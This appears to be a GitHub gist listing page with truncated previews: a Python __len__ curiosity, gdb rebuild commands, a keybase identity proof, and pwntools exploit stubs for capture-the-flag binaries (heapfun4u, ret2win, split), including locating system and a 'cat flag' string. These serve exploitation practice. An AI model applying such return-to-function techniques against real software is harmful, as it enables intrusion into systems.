gdb-peda$ x/i
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> class A(object): pass | |
... | |
>>> a = A() | |
>>> a.__len__ = lambda: 3 | |
>>> a.__len__() | |
3 | |
>>> len(a) | |
Traceback (most recent call last): | |
... | |
TypeError: object of type 'A' has no len() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get install python2.7-dev python2.7 | |
apt-get build-dep gdb | |
apt-get source gdb | |
sed -i -E "s|python3|/usr/bin/python2.7|" debian/rules | |
dpkg-buildpackage -uc -us -j8 | |
dpkg-install ../*.deb |
The write-up is basically the exploit.
[*] './heapfun4u'
Arch: amd64-64-little
RELRO: Partial RELRO
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# Here's the disassembly for everything | |
""" | |
0804844b <vulnerable_function>: | |
804844b: 55 push ebp | |
804844c: 89 e5 mov ebp,esp | |
804844e: 81 ec 88 00 00 00 sub esp,0x88 | |
8048454: 83 ec 04 sub esp,0x4 | |
8048457: 68 00 01 00 00 push 0x100 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# Here's the disassembly for everything | |
""" | |
0804844b <vulnerable_function>: | |
804844b: 55 push ebp | |
804844c: 89 e5 mov ebp,esp | |
804844e: 81 ec 88 00 00 00 sub esp,0x88 | |
8048454: 83 ec 04 sub esp,0x4 | |
8048457: 68 00 01 00 00 push 0x100 |
I hereby claim:
- I am zachriggle on github.
- I am zachriggle (https://keybase.io/zachriggle) on keybase.
- I have a public key ASBYNpGGwzmRUnRb5-fg2Qy7jdirdXG-ECeIbGP_Lv72oQo
To claim this, I am signing this object:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# Set up pwntools to work with this binary | |
elf = context.binary = ELF('ret2win') | |
# Enable verbose logging so we can see exactly what is being sent. | |
context.log_level = 'debug' | |
# Print out the target address | |
info("%#x target", elf.symbols.ret2win) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# Set up pwntools to work with this binary | |
elf = context.binary = ELF('split') | |
# We need to invoke system("cat flag"), which requires knowing the | |
# location of both the function 'system' as well as the string 'cat flag'. | |
system = elf.symbols.system | |
cat_flag = elf.search("cat flag").next() |